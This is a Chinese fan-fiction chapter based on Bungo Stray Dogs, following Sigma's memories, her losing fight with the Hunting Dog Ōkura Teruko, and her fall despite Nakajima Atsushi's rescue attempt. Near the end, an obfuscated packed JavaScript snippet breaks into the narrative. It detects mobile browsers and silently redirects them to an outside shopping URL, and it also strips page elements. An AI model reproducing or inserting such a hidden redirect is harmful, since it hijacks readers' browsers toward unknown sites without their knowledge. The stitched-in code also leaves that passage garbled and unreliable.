费奥多尔又勾起浅笑,指尖轻轻敲了敲桌面,目光悠远,似是透过空间看到了赌场里的西格玛:“没错,至少在这个棋盘上是。” “这个世界上最强大的人,你觉得是谁?” “拥有异能的人?拥有权利的人?不对。” 费奥多尔微微垂眸,声音轻缓却带着笃定:“最为强大的……是什么都没有的人。” “西格玛没有过去,她丧失了自己的记忆。” 天空赌场中央通信室内,西格玛平稳好呼吸,打开摄像头,实时录制视频在天空赌场的电视上播放。 将大仓烨子和立原道造的照片,放在电视上。 “如果发现这二人,请发动攻击!罪行将不予追究。” “进行攻击之人,赌场将会免除他的负债。” “若能让其富商再奖励1万美元,让其昏厥10万,成功夺命则是100万!” “这条信息将通报全赌场!” “作为警察二人是不会伤害各位的。放心行动吧!谁快谁就赚了!” 费奥多尔嘴角勾起极淡的笑意,那笑意未达眼底,只在唇畔漾开一抹冰冷的弧度,像是在欣赏一场早已洞悉结局的棋局。 “确实,西格玛并不是恐怖分子。” “她连自己是谁都不清楚,想要的只是容身之处。” “那就是赌场。” “所以,如果是为了守护赌场,她那地狱般的执念,甚至会将『猎犬』也燃烧殆尽。” 费奥多尔将食指放在眼睛下方,指尖轻轻抵着眼骨。 “因为,这世上最可怕的,便是不顾一切的凡人。” 他的声音轻缓却带着不容置疑的笃定,指尖微微用力,眼底的笑意彻底褪去。 只剩下对人性最深刻的洞悉,以及对那抹“不顾一切”的执念,隐秘的、近乎病态的欣赏。 西格玛在中央通信室静静等待着。 她知道,猎犬终将来到这里。 西格玛的指尖微微蜷缩,抵在冰冷的操作台边缘,早已做好了拼尽全力的准备。 或许今天她会死在这里。 这份认知没有带来恐慌,反而让西格玛空茫的心绪有了一丝落点。 比起像尘埃一样消散在无人问津的角落,能为自己唯一的“归宿”献出一切,已经是她能想到的最好的落幕。 中央通信室的大门被推开了。 来人是大仓烨子。 西格玛抿着唇,眼底淬着孤注一掷的决绝,与嘴角勾起玩味浅笑的大仓烨子直直对上视线。 太宰治双手叠握,鸢色的眼眸里没有半分笑意,只剩洞悉一切的锐利。 “你以为那种说法就能骗过我吗?” “『因为没有记忆,所以西格玛才强大』?” 他捏着自己的下巴,语气轻佻,眼神却冷得像淬了冰。 “那样的话,我常去的咖啡厅里的阿姨才是最强的。她总是会忘记我下的单。” 太宰治压低眉头,周身的气压骤然沉了下来,带着不容置疑的压迫感。 “听好了,不管西格玛的心理准备有多充足,她跟猎犬根本不是一个等级,正面冲突简直就是自杀行为。你真正的目的是什么?” “『等级』?” 费奥多尔低低地笑了,纤长的眼睫微微垂落,掩住了眼底深不见底的深渊。 他别有深意地说道。 “要说『等级』,低级的是猎犬那一方才对。” “不光是猎犬,世间森罗万象,” “连你我……也比不上西格玛。” “西格玛是这个世界的异物,你知道她为什么这么执着于赌场吗?” 太宰治神情骤然变得严肃,指尖无意识地收紧,目光紧紧锁在费奥多尔身上。 费奥多尔接着说,声音轻得像一阵叹息,却带着刺骨的寒意。 “因为『孤独』。” “在她的血液里,流淌着名为悲伤的音乐。” “西格玛在这个世界上是究极的异邦人。” 太宰治一愣,鸢色的瞳孔微微收缩,脸上的严肃瞬间被错愕取代。 费奥多尔抬眼,目光深邃如古井,直直望进太宰治眼底。 “对那样的她来说,赌场是唯一跟她一样的东西,所以她才不能失去赌场。” 费奥多尔近乎把答案直接告诉了太宰治,这个答案让太宰治都有点难以相信。 太宰治的额角渗出细密的冷汗,指尖微微发颤,脸上的血色褪去了几分。 “难道……” 费奥多尔微微颔首,眼底闪过一丝近乎悲悯的笑意,笃定地肯定了他。 “没错。” “西格玛是三年前被写进『书』里后诞生的。” “突然之间,从无到有。” 太宰治的鸢色眼眸第一次出现了极大浮动的情绪,震惊、难以置信,甚至还有一丝不易察觉的茫然,像平静的湖面被投入了巨石,掀起了滔天巨浪。 “怎么可能…怎么会有,那种事情,” 他的声音带着不易察觉的沙哑,眼神里充满了颠覆认知的震撼。 “那真的能称得上是人类吗?” 自己究竟是不是人类? 这个问题的答案,西格玛自己也不知道。 她诞生在无垠的沙漠腹地,掌心紧攥着一张印着陌生纹路的车票。 那车票不属于世上任何一个已知的站点,就像她不属于这个世界的任何一隅。 过往的记忆是一片彻底的空白,没有来路,亦无归途。 她不知道自己为何会出现在这片荒芜之地,也不知道脚下的路该通向何方。 “西格玛”,是她为自己取的名字,∑,数学里的求和符号。 是不是很荒谬?明明没有一点过往的记忆,却知道数学的求和符号。 她在沙漠中漂泊了整整三天,当干渴与绝望几乎将她吞噬时,人贩子的卡车碾过沙砾停在她面前。 铁链锁住手腕的那一刻,西格玛以为这便是命运的终章。 直到那个满脸横肉的头目凑近,粗糙的手开始撕扯她的衣服。 恐惧催生的本能让她无意识地催动了异能。 从那天起,西格玛的宿命被刻上了“利用”二字。 冰冷的手铐再也没有离开过她的手腕,磨出的伤口结痂又破裂,反复循环。 她被强迫参与一场又一场肮脏的犯罪。 后来,西格玛逃过无数次,遇到各式各样的人。 那些人都逃不过想要利用她,更可怕的是,在利用完她,他们第一个想法就是要将她灭口。 西格玛不再相信任何人。 信任这种东西,早在一次次背叛中被碾成了沙,散落在沙漠的风里。 又一次出逃后,在沙漠里,她没有终点的奔跑着,逃进了一座废弃的教堂里。 就在那里她遇到了费奥多尔,他对她说了一句话。 “你,想要一个家吗?” 并向她伸出手。 西格玛在沉默过后,把手搭了上去。 并非是信任眼前的男人,而是因为她走投无路。 随后,她加入了天人五衰。 再后来,费奥多尔给予了西格玛和她同样的存在,天空赌场。 西格玛有家了。 这是从无诞生的西格玛最渴望的东西。 一个归处,一个容身之所。 为了守护这里,她能付出一切。 她已经没有什么能失去的了。 13. 凡人 西格玛秀美的面容上覆着一层冷冽的坚定,睫羽轻垂又猛地抬起。 赌场是我好不容易找到的容身之所。 我的家人……由我来保护。 大仓烨子冷冷的注视着西格玛,扯出一抹嘲讽的笑。 “贵安,总经理小姐,你做好投降的准备了吗?” 西格玛向来柔和的唇线瞬间紧紧抿成一道冷硬的直线,原本温润的眉眼覆上一层寒霜。 她抬眸迎上大仓烨子的视线,语气斩钉截铁:“做不到,我不会投降。” 大仓烨子单手叉腰,身体微微侧倾,嘴角依旧勾着那抹冷烈的弧度。 她的语气带着几分漫不经心:“我也等不了那么久哟,毕竟从现在开始,我得破坏那边的通信机器,然后拯救世界。” 西格玛缓缓举起左手的钥匙,手腕轻轻抬起:“破坏机器也毫无意义。” “这里的机器不过是个终端,不用这把钥匙重写机器的操控命令,就不能阻挡引爆信号。” 她指尖摩挲着钥匙的纹路,声音平稳却带着不容置疑的力量。 大仓烨子眉头骤然蹙起,眉峰拧成一个川字,她压低了嗓音,语气里透着几分咬牙切齿:“果然如此。” “真没办法。”她啧了一声,眼底闪过一丝不耐烦。 就在她向前踏出一步,鞋底擦过地面发出轻响的瞬间。 西格玛手腕猛地一扬,将手中的钥匙狠狠扔出,动作干脆利落,没有半分犹豫。 “别误会了,钥匙给你。” 她声音淡然,可垂在身侧的手指却微微颤抖。 西格玛微微低头,额前轻轻垂落的发丝遮盖住她略带脆弱的神情,长睫在眼下投出一片细碎的阴影。 喉结滚动了一下,心底的声音翻涌而出:说实话,我现在就想哭着落荒而逃。 但是,我不能。 她攥紧拳头,指甲深深嵌进掌心,不阻止猎犬的话,赌场就会毁灭。 情况乱成一团。 敌人是国内最强的特殊部队。 而我只是一介凡人。 喂,有没有人能告诉我,对凡人而言,保护自己重要的事物也是不被允许的吗? 她眼底漫上一层水汽,却又硬生生逼了回去,只剩无尽的茫然与不甘。 在大仓烨子指尖触碰到钥匙的瞬间。 两架机关枪突然从西格玛身后弹出,黑洞洞的枪口对准大仓烨子。 “齐射!” 西格玛猛地抬眸,脆弱的神经尽数褪去,眼底只剩燃尽一切的决绝,声音低沉却带着破釜沉舟的狠劲。 要赢,我一定要赢!! 她在心中嘶吼,双拳紧握,指节泛白。 7.62毫米高速硬芯□□,枪口初速为时速2700千米,这是连装甲车都能撕裂的怪物。 这家伙的别名是无痛弹,因为被打中的人在感受到痛苦之前就会粉身碎骨。 大仓烨子看着呼啸而来的子弹,嘴角勾起一个轻蔑的冷笑,连眼皮都未曾眨一下。 铿! 她抬手,骨节分明的手指竟徒手将子弹弹开,动作轻描淡写,仿佛只是拂去一粒尘埃。 铿铿铿锵——! 子弹接二连三撞在她的指尖,又被一一弹开,发出刺耳的金属碰撞声。 西格玛瞳孔骤缩,嘴巴微张,满脸震愕地看着这一幕,身体甚至下意识后退了半步:怎么可能?居然徒手就将子弹弹开了?! 不对……她猛地回神,眼底闪过一丝急切,机关枪一秒能射出100发子弹! 即使是猎犬的身体也扛不了那么…… 西格玛咬着唇,心底还存着一丝侥幸。 果然,大仓烨子的手被高速掠过的子弹划破,一道血痕瞬间浮现。 “啧!”她低骂一声,眉峰一蹙,眼底闪过一丝愠怒。 大仓烨子脚步飞快地移动,身体猛地跳起,同时将手中的东西狠狠丢出。 西格玛顺着她的动作看去,目光落在那被丢向机关枪弹口的物体上,瞳孔再次放大:菜刀?! 西格玛心头一颤,是从厨房里偷来的吗? 被堵住的机关枪瞬间发出剧烈的爆炸声。 轰隆! 西格玛慌忙抬起手挡住脸,身体下意识蜷缩,发出一声惊呼:“唔啊!” 还没完,她咬着牙,眼中闪过一丝狠厉,只要用遥控器启动新的炮塔…… 西格玛从西装的夹缝里摸索出遥控器,指尖刚触碰到冰冷的塑料外壳。 手腕却突然被一股巨力击中,遥控器瞬间被大仓烨子一脚踢飞,在空中划过一道弧线。 紧接着,大仓烨子一脚狠狠踩住西格玛的右手,鞋底碾过的力道竟将墙面踩出蛛网般的裂痕。 “投降吧,从一开始就你这点本事是不可能赢的。” 大仓烨子垂眸看着她,眼神里带着居高临下的漠然,冷冷地说出在她眼中早已注定的事。 听到大仓烨子的话,西格玛身形一滞,瞳孔微微晃动,她缓缓垂下眼眸,长睫掩去眼底的黯淡:“没错……确实如你所说,我就如外表一样,就这么点本事。” “世界上不会有任何人跟我产生共鸣。” 她声音轻轻的,带着一丝自嘲,肩膀微微垮下。 “不管醒着还是睡着,我都是孑然一身。” 西格玛垂着头,垂落的发丝彻底遮盖住她的表情,只有声音里的落寞丝丝缕缕地散出来。 “这样的我居然想要保护『家』?太可笑了。” “即使如此,我也阻止不了我自己。” “你理解我的意思吗?” 大仓烨子听着她的话,脸上没有露出丝毫多余的表情,只是淡淡挑眉:“不理解,你还有别的要说吗?” 西格玛缓缓抬起头,用未被限制的左手,快速伸向西装下摆。 “还有一点。” 西格玛眼中骤然闪过锐利的神色,仿佛蛰伏的猛兽终于亮出獠牙:“『到此为止都跟计划一样』。” 她猛地掏出音响枪,同时被踩住的右手狠狠摁住大仓烨子的脚,借着反作用力将她狠狠拉倒在地,动作一气呵成。 “你连一根手指也动不了,对吧?”她凑近大仓烨子,声音里带着冷冽的平静。 “因为进入你耳内的音响,此时正在你大脑产生发泡共振呢。”她指尖摩挲着音响枪的扳机,计算着时间。 西格玛的神色愈发冷冽:“而且这把枪是改造枪,火力可是一般警备用枪的五倍。” “虽然超过了枪体负荷,30秒后腔就会报废,但只要15秒,你的身体就会报废。” 大仓烨子猛地咳嗽起来,嘴角溢出殷红的血沫,身体不受控制地颤抖:咳!咳咳! “看到了吗,猎犬?!”西格玛居高临下地看着她,声音里带着压抑许久的激动。 “距今为止的这一切,这就是……『信念的力量』啊!” 西格玛的声音到最后近乎成了嘶吼。 滴答滴答…血液滴落的声音在空气中格外清晰。 大仓烨子晃了晃身体,却硬是踉跄着站起身来,血液从她身上不断滴落,她擦了擦嘴角的血,眼底却燃着更盛的战意:“居然跟我说『信念的力量』?” “那么我问你,你为什么会觉得身上寄宿『信念的力量』的,只有你一个?” 她眼中渗出血来,锐利的目光如同利刃般死死盯着西格玛,带着毁天灭地的气势。 西格玛看着她,脸颊瞬间沁出冷汗,身体微微发僵,难以掩饰心中的的震惊。 怎么可能?为什么她还能站着?! 即使是猎犬,但那是能把脑袋削成一半的火力啊! 她指尖用力握着音波枪,心底的难以置信几乎要溢出来。 大仓烨子猛地上前抓住音波枪。 唔!西格玛闷哼一声,下意识后退一步。 在大仓烨子上前掰过音响枪时,西格玛的目光骤然定格在她的耳朵上,看到那血迹斑斑的伤口,瞳孔猛地收缩。 该不会……是在倒地的瞬间,她就……剜下自己耳朵的肉,当作物理性防音罩堵住耳朵,阻止了音波的入侵! “跟你说件有趣的事情吧,关于身为『猎犬』要付出的身体代价。” 大仓烨子缓缓开口,语气平淡,仿佛在说一件与己无关的小事。 “「猎犬」的超高身体能力,是经异能技师改造身体的成果。但是,那可不是人能承受的手术。” “每个月都要进行维持手术,只要少一次,就会全身腐烂而死。”她轻描淡写地说着,仿佛在陈述一个既定的事实。 西格玛的神色骤然一惊,嘴巴微张,眼底满是错愕:“为什么要做到这种地步?你们到底是……” 大仓烨子忽然露出一个笑,笑容里带着几分悲壮,又带着几分坚定:“我们是这个国家秩序的体现。” “这很简单,没有秩序,「擅长暴力的人类」要位居上位就会变得轻而易举,那种世界简直是狗屎。” 她语气里满是鄙夷,眉峰挑得极高。 大仓烨子伸手,猛地将音响枪折断,动作干脆利落,伴随着金属扭曲的刺耳声响。 “所以「猎犬」必须使用最为强大的暴力,成为社会的奴隶。” 她掷地有声,眼底燃着名为“秩序”的火焰。 “即使名为秩序的火焰,将自己燃烧殆尽也在所不惜。” 西格玛怔怔地看着大仓烨子的眼神,心底猛地一颤。 !这家伙的眼神跟我一样……不对,甚至比我还要坚定…… 大仓烨子突然伸手,一把攥住西格玛的咽喉,猛地发力,将她狠狠撞破身后的墙壁,西格玛的上半身瞬间悬在高空,身下是万丈深渊。 “这是我最后一次劝告你。” 大仓烨子的声音从头顶传来,冰冷刺骨。 “赶紧投降,不然我就把你扔下去。”她指尖微微用力,西格玛的呼吸瞬间变得困难。 西格玛没有放弃挣扎,双手拼命掰着她的手,指节因为用力而泛青:“我拒绝……即使只是一介凡人……只要『拼命』就没有翻不过去的墙壁……” 她被掐着咽喉,说话断断续续,却依旧带着不肯屈服的倔强。 大仓烨子面色平静地掐着西格玛的脖颈,眼底没有丝毫波澜:“没错……『凡人的拼命』确实十分可怕,但是……在那前方又是什么?” 她缓缓开口,语气里带着几分怜悯,又带着几分残酷。 “你还不明白吗?以『凡人的拼命』放个墙壁,在前方等着的,是跟同样拼命的天才的对决啊。” 大仓烨子平静的诉说着一个既定的事实。 “这个世界的『拼命』可没有相对意义。” “欢迎来到我们的世界。” 西格玛的瞳孔骤然收缩,眼底满是震骇。 眼前倏地拂过费奥多尔的影子,模糊又诡异。 西格玛的视线短暂变得朦胧,脑袋里一片空白。 原来如此。 这就是这个世界的…… 她在心底喃喃,心底的信念开始摇摇欲坠。 西格玛突然伸出手,死死抓住大仓烨子的手,指尖因为用力而发白:“我完全明白了,我没有胜算。” “但是这么下去的话,我跟赌场都会消失。” 她眼底闪过一丝决绝,声音里带着破釜沉舟的狠劲。 “那么,至少,让我拯救其中一个。” 西格玛双脚猛地一蹬墙面,身体朝着深渊坠去,同时,也拽着大仓烨子一同坠落。 坠落的过程中,失重感如潮水般将她裹挟,耳边是呼啸而过的风。 她的视线死死锁着大仓烨子的手,那只手离赌场冰冷的外壁,不过几寸之遥。 她用尽全身力气,指节泛白地死死拽住对方的手腕,尖锐的指甲几乎要嵌进对方的肉里,渗出血丝。 她用空洞的目光,一瞬不瞬地注视着大仓烨子。 眼底却燃着一簇不灭的、最后的执拗:不让你逃! 大仓烨子垂眸,凝视着西格玛那双燃着执拗火焰的眼眸。 那眼底孤注一掷的决绝,竟像淬了冰的针,猝不及防扎进她的神经,一股刺骨的寒意顺着脊椎,一寸寸往上爬。 这眼神……太熟悉了。 熟悉到让她恍惚间,看到了曾经为了活下去、为了坚守某件事而拼尽全力的自己。 愣神只是一瞬的事。 大仓烨子随后便猛地回过神,眼神瞬间冷硬如铁。 她狠狠踹向西格玛的腹部,剧烈的疼痛骤然炸开,迫使西格玛松开了手。 西格玛往下坠落,看着大仓烨子伸手捉住了赌场边缘,眼底的光彻底黯淡下去。 啊…… 最后还是这样的结局啊…… 大仓烨子的指尖死死抠住赌场边缘的金属棱角,冰冷的触感硌得指骨生疼,借着这股力道稳住摇摇欲坠的身形。 她玫粉色的瞳眸垂落,看向坠向深渊的西格玛。 风卷着西格玛的发丝翻飞,那道瘦弱却始终绷着脊梁的身影,在漫天烟尘里像一片飘摇却不肯折断的纸鸢。 大仓烨子的眼神依旧是猎犬特有的冷硬,可瞳孔却微不可察地缩了缩,身体竟罕见地僵了一瞬。 她见过无数挣扎的敌人,却从未见过一个“凡人”能将决绝刻到骨子里。 刚才那双死死攥着她手腕、指甲几乎嵌进皮肉的手,那眼底燃着孤注一掷、拼尽全力的目光,像烧红的烙铁,狠狠烫进了她的脑海,彻底超出了她对普通人类的认知。 就在这时,一道少年的身影突然从赌场内部跃出,如离弦之箭般冲破漫天烟尘,伸手精准地搂住了西格玛的腰。 那是武装侦探社的中岛敦,少年的脸上满是奋不顾身的狠劲,腰间系着的安全绳被两人下坠的力道猛地绷断,发出“啪”的一声脆响。 两人一同坠落,却始终没有分开。 大仓烨子看着那两道交叠的身影,喉结轻轻滚动了一下,心底竟冒出一个从未有过的念头:如果可以,西格玛这家伙很适合当自己的同伴。 毕竟那股拼了命也要护住某样东西的信念,滚烫得像烈火,和猎犬为了秩序燃尽自己的执着,本质上是同一种孤注一掷的热烈。 不过没有如果。 她很快回过神,抬手抹去嘴角的血渍,将那瞬间的念头狠狠掐灭在心底。 手臂猛地发力,一寸寸将身体向上拽,干脆利落地爬了上去,动作里没有半分迟疑。 猎犬的使命从不是共情,而是守护国家的秩序,破坏通信机器、阻止爆炸才是她此刻唯一要做的事。 大仓烨子踩着满地狼藉的碎玻璃与断裂的钢筋,朝着通信机器所在的方向稳步前行,每一步都踩得沉稳而坚定,仿佛刚才高空之上的动容从未发生过。 她掌心攥着那把西格玛扔来的钥匙,金属的棱角硌着掌心的伤口,渗出血珠,与钥匙的冷意交织在一起,形成一种奇异的触感。 抬手,指尖拂过耳侧尚未愈合的伤口,那是为了抵御音波而亲手剜下的皮肉,此刻还在渗着细密的血珠,带来尖锐的痛感。 这痛感像一根针,时刻提醒着她身为猎犬的宿命。 从接受改造手术的那天起,她就不再是普通的人类,而是为秩序而生的武器,连疼痛都只是维持“战力”的附属品。 通信机器的指示灯在昏暗的走廊里闪烁着幽蓝的光,发出规律的嗡鸣,像是在宣告着某种倒计时的开始。 大仓烨子站在机器前,掌心的钥匙被她攥得更紧,那双玫粉色的眸子里只剩冷厉的果决。 她活动了一下手腕,指节发出清脆的骨裂声,刚才与西格玛缠斗、徒手弹开子弹时留下的伤口再次渗出血珠,她却浑然不觉,眼底不受控制地掠过西格玛的身影。 那个瘦弱的凡人,明明手无寸铁,却凭着一股执念,一次次地向她发起反抗,尤其是那双死死攥着她手腕、指甲几乎嵌进皮肉的手,那眼底燃着孤注一掷、拼尽全力的目光,像烧红的烙铁,狠狠烫进了她的脑海。 真是可笑。 大仓烨子低低地嗤笑一声,抬起的手却莫名地顿了顿。 明明是立场对立的敌人,明明是她眼中“不自量力”的凡人,可西格玛拼尽全力守护赌场的模样,却像烙印一样刻在她的脑海里。 那股孤注一掷的信念,和她为了秩序甘愿忍受每月一次的痛苦手术、甘愿被身体改造的后遗症折磨至死的执着,竟诡异的相似。 都是为了某样“重要的东西”,赌上了自己的一切。 只是,她的“重要”是国家的秩序,是不容动摇的规则。 而西格玛的“重要”,不过是一个赌场,一群被她当作家人的陌生人。 多么渺小,又多么滚烫。 大仓烨子猛地甩了甩头,像是要将这不合时宜的念头彻底甩开。 她是猎犬,是秩序的利刃,共情是最无用的情绪,也是最危险的弱点。 刚才那一瞬间的动摇,已经是她身为“武器”的最大失职。 “啧。” 大仓烨子低骂一声,眼底的最后一丝犹豫彻底消散,周身的气息骤然变得凌厉。 西格玛说的没错,只破坏终端没用。这里的机器不过是个终端,不用这把钥匙重写机器的操控命令,就不能阻挡引爆信号。 大仓烨子不再迟疑,将钥匙精准地插进机器侧面的锁孔,指尖用力一转,伴随着“咔哒”一声脆响,机器内部传来线路重组的细微声响。 紧接着,她攥紧拳头,朝着通信机器的核心部位狠狠砸了下去。 “轰隆——!” 金属外壳应声凹陷,内部的线路与零件瞬间崩裂,幽蓝的指示灯瞬间熄灭,嗡鸣的声音戛然而止,只剩下金属扭曲、零件散落的刺耳声响,在空旷的走廊里回荡。 大仓烨子的拳头被飞溅的碎片划破,鲜血顺着指缝滴落,混着掌心钥匙上的血迹,一同落在冰冷的地面上。 她却毫不在意,只是抬手抹了把脸,将溅到脸颊上的血珠擦去,动作里带着一种近乎粗暴的决绝。 任务完成。 她拔出钥匙,随手丢在地上,转身准备撤离,脚步却又顿了一下,下意识地看向西格玛坠落的方向。 那里只有漫天的烟尘和断裂的墙壁,早已没了那道瘦弱的身影。 大仓烨子的眼底掠过一丝极淡的复杂,快得让人无法捕捉。 她终究是收回了目光,挺直脊背,朝着走廊的尽头走去,背影依旧冷硬如铁,仿佛刚才的所有情绪波动,都只是风过无痕。 毕竟,猎犬的世界里,从来没有“如果”,只有“必须”。 西格玛和中岛敦一同坠落在赌场最底层,电源设备旁的狭窄平台上,惯性让两人滚作一团。 中岛敦的脸猝不及防撞进西格玛的胸口,柔软的触感像一簇骤然燃起的火苗,让他浑身瞬间僵住,耳尖以肉眼可见的速度染上绯红,连呼吸都变得局促起来。 “抱、抱、抱歉!” 中岛敦猛地撑起身体,慌乱地往后退了半步,双手连连摆动,眼神躲闪着不敢看向西格玛,脸颊烫得能煎熟鸡蛋,“我不是故意的!刚才坠落的时候没控制好平衡……” 一股淡淡的奶香味还萦绕在中岛敦的鼻尖,他的脸变得更红了。 西格玛撑着冰冷的地面缓缓坐起身,身上的伤口被撞击得隐隐作痛,她却像是完全没在意刚才的小插曲。 她并非刻意忽视,而是自诞生于这片混沌的世界起,她的认知里便从未有过“男女授受不亲”的概念,也无人教过她何为人际间的边界感。 那些旁人或许会生出的羞耻与窘迫,在她日复一日的麻木与混沌里,早就被磨成了一片虚无,连一丝涟漪都荡不起来。 费奥多尔只教会她如何精准操控人心,赌场的人只将她当作无所不能的总经理顶礼膜拜。 她所拥有的一切认知,都源于生存所需的算计与博弈,那些属于普通人的社交礼仪、细腻情感与世俗常识,于她而言,是一片全然空白的领域。 如今的她,正像一张未经雕琢的白纸,笨拙地从身边掠过的每一个人身上,一点点拼凑着这些陌生又晦涩的常识。 西格玛不明白为什么中岛敦会这么害羞,也不明白刚刚的动作过于亲密。 她更不明白的是,对方为什么要救自己。 在这片弱肉强食的天地里,所有人都该是各自为战的棋子,怜悯和援手,从来都是最无用的东西。 凌乱的发丝垂在肩头,西格玛抬眸看向一脸窘迫的中岛敦,眼底还残留着坠落时的茫然,声音平静中带着一丝不易察觉的困惑:“……武装侦探社的人,为什么要救我?” 她的世界里,从来只有利用与被利用,费奥多尔的操控,赌场里的利益交织,还有猎犬的步步紧逼。 这份突如其来的、不带任何条件的善意,让她有些无所适从,甚至忍不住怀疑,这是否又是一场精心策划的阴谋,是另一个操控她的陷阱。 不,西格玛望着眼前这个脸颊泛着红晕、眼神躲闪、连头都不敢抬的少年,心底那点疑虑悄然散去。 是不是阴谋,好像已经无所谓了。 至少,他救下了她,这是不容置疑的。 中岛敦神色一正,仿佛下定了某种决心。 “为什么?还用说吗?当然是为了侦探社。” 他单膝跪地在西格玛身侧,动作带着少年人特有的利落与真诚。 “要拯救侦探社只能得到『书』,而你知道它在何处。” 西格玛沉默了一瞬,长长的睫毛在眼下投下一片小小的阴影。 果然如此啊。 她扯了扯嘴角,露出一个近乎嘲讽的弧度。 “就算我知道……你觉得我会老老实实告诉你吗?” 中岛敦没有丝毫犹豫的回复道,眼神清澈而坚定。 “我觉得你会。” 他拿出手机,屏幕上正在进行实时通话。 西格玛的瞳孔微缩。 屏幕上的男人是谁,她再清楚不过。异能特务科成员,坂口安吾。 也是她之前刺杀目标种田山头火的下属。 屏幕里的坂口安吾双手交叠,目光平静地如同精密的仪器,不带一丝感情:“只要使用我的异能『堕落论』,就能从你的记忆中读取『书』的情报。” 西格玛用着同样平静的语调说道。 “不好意思,但我针对你的异能力,可是拟定了对策的。” 坂口安吾推了推眼镜,镜片后的目光瞬间变得极为锐利,像一把出鞘的刀。 “没关系,只要用古老的方法解决就可以了。” 他顿了顿,每一个字都像冰珠砸在地上:“『折磨到你说为止。』” 坂口安吾的目光坚定如铁。 “对捅伤了种田长官的女人,我本就不打算手下留情。” 对方的话语尽显锐利,反倒让西格玛垂下了眼眸,长长的睫毛盖住了眼底翻涌的情绪。 她的手指无意识地摩挲着自己的手腕,那里似乎还残留着被手铐束缚过的冰冷触感。 “我本来不想捅下去的,只是想威胁他而已。” 西格玛的声音轻得像一片羽毛。 “老实说,我非常羡慕你,你有那样的眼神,以那么坚定的眼神贯彻某种信念,对我来说不可能有第二次了。” 她抬起头,看向远方,仿佛下定了某种决心。 “你随便问吧。” 西格玛望向天边的云际,铅灰色的云层厚重地压下来,好像什么都没有变,又好像什么都变了。 “我已经累了。” 她露出一个浅笑,比起笑,那更像是在哭泣。 “结果,到最后我都没有明白我为什么诞生于世……” 听到西格玛的话语,中岛敦愣了愣,心里像是被什么东西堵住了,闷闷的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193628|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 手机内坂口安吾继续下达着指令,声音依旧没有任何波澜。 “敦。” 中岛敦应答。 “我在。” “这是最后的任务,将西格玛护送到地面。” 中岛敦坚定的回复道:“我明白了。” 他开始思索,要先找到上层飞行船的线路才行…… 就在这时,一阵嗖嗖声响起,中岛敦猛地抬起头。 穿着黑袍的纳撒尼尔·霍桑如同鬼魅般出现在空中。 中岛敦脸上瞬间流出冷汗,心脏猛地一沉。 “怎么会……在这里吗?在这种时候?” 他失声喊道:“费奥多尔!” 手机里的坂口安吾立刻提醒道:“敦!小心点!” “他打算杀了你,救出同伴西格玛!” 纳撒尼尔·霍桑俯视着平台上的中岛敦和西格玛,如同审判者般做出判决,指尖凝聚出血色的弹丸。 “有罪。” 西格玛站在中岛敦身侧,心脏像是被一只冰冷的手攥紧。 果然,费奥多尔还有后手。 血弹带着呼啸的破空声,精准地击中西格玛的胸口。 剧痛瞬间蔓延开来,温热的血液迅速浸透了她的衣衫。 西格玛身体一震,猛地咳出血来,溅在冰冷的金属平台上,开出一朵朵绝望的花。 ……后手就是杀死自己吗。 西格玛并没有惊讶,反而是一种了然。原来,连被当作“同伴”拯救的价值都没有。 自己,还是没有摆脱利用完后,就被杀掉的宿命啊…… 她的眼前开始发黑,身体不受控制地踉跄着,从平台边缘坠落下去。 “西格玛小姐!” 中岛敦瞳孔骤缩,几乎是本能地扑上前去,右手死死抓住西格玛的手腕,左手则猛地攥住平台边缘的管道,巨大的冲击力让他的手臂发出不堪重负的呻吟。 咳咳! 西格玛咳出肺腔涌出的血,温热的液体顺着她的嘴角流下。 “西格玛小姐振作一点,抓住我的手!”中岛敦的声音带着前所未有的急切和颤抖。 西格玛微微抬头,看着少年因为用力而暴起青筋的手,那双手温暖而有力,与她所接触过的所有冰冷都截然不同。 “不用了……总觉得,我早就知道最后会变成这个样子。” 她的声音轻得像叹息。 纳撒尼尔·霍桑飞了下来,随即发出下一击血弹,目标直指中岛敦。 “赎罪吧。” 血弹精准地击中中岛敦的额头,剧痛让他眼前一黑,短暂的丧失了意识,握着管道的手本能地松下。 两人的身体急速下坠。 千钧一发之际,中岛敦猛然惊醒,体内的白虎异能瞬间爆发,一条巨大的白色尾巴猛地缠住了最后的管道,止住了下坠的势头。 他再次用尽全身力气,握住西格玛的手。 中岛敦用双手死死抓住西格玛的左手,指节因为用力而泛白。 “…唔!” 西格玛已经丧失了求生的意志,她什么都没有做,只是任由身体的重量将少年的手臂一点点向下拽。 “……算了吧。”她轻声说,“快放开我,不然你也会死的。” 中岛敦没有卸下一丝力气,继续死命的抓着西格玛的手,额头上青筋暴起,汗水混合着额角的血水流下。 “不行!”他吼道,声音带着少年人特有的执拗和愤怒,“『我不知道自己为何而生』什么的,人怎么可以将这种话作为遗言,然后孤身死去呢?!” 垂落的发丝掩盖了西格玛的表情,没人知道她此刻在想什么。 “你真是温柔啊。”她用一种近乎平静的语气说道。 这样平静的语气却让中岛敦一惊,他敏锐地察觉到西格玛的手指正在一点点松开。 “但是够了,我作为凡人,我已经做完了我能做的所有事。” 西格玛的声音轻得像一缕风,她对着中岛敦发动了异能——他想知道关于“书”的一切,那就拿去吧,这是她能给出的,最后一份馈赠。 与此同时,她也从中读取到,自己最想知道的问题:中岛敦是真心实意想要救她。 刚刚那奋不顾身的一跳,没有算计,没有交易,只是单纯的想救她,想握住她的手,想让她活下去。 这样的真心,为什么现在才遇到呢? 西格玛抬起头,用尽最后一丝力气,对中岛敦露出了一个温柔的浅笑。 那笑容里有释然,有遗憾,还有一丝难以言喻的感激。 “……要是能早点遇见你就好了。” 话音落下,西格玛的手从中岛敦的手中滑落,如同一片凋零的枯叶,她的身影迅速被下方的云层吞噬。 “西格玛小姐——!!!” 中岛敦发出一声撕心裂肺的呼喊,伸出手想要抓住什么,却只抓到一片冰冷的空气。 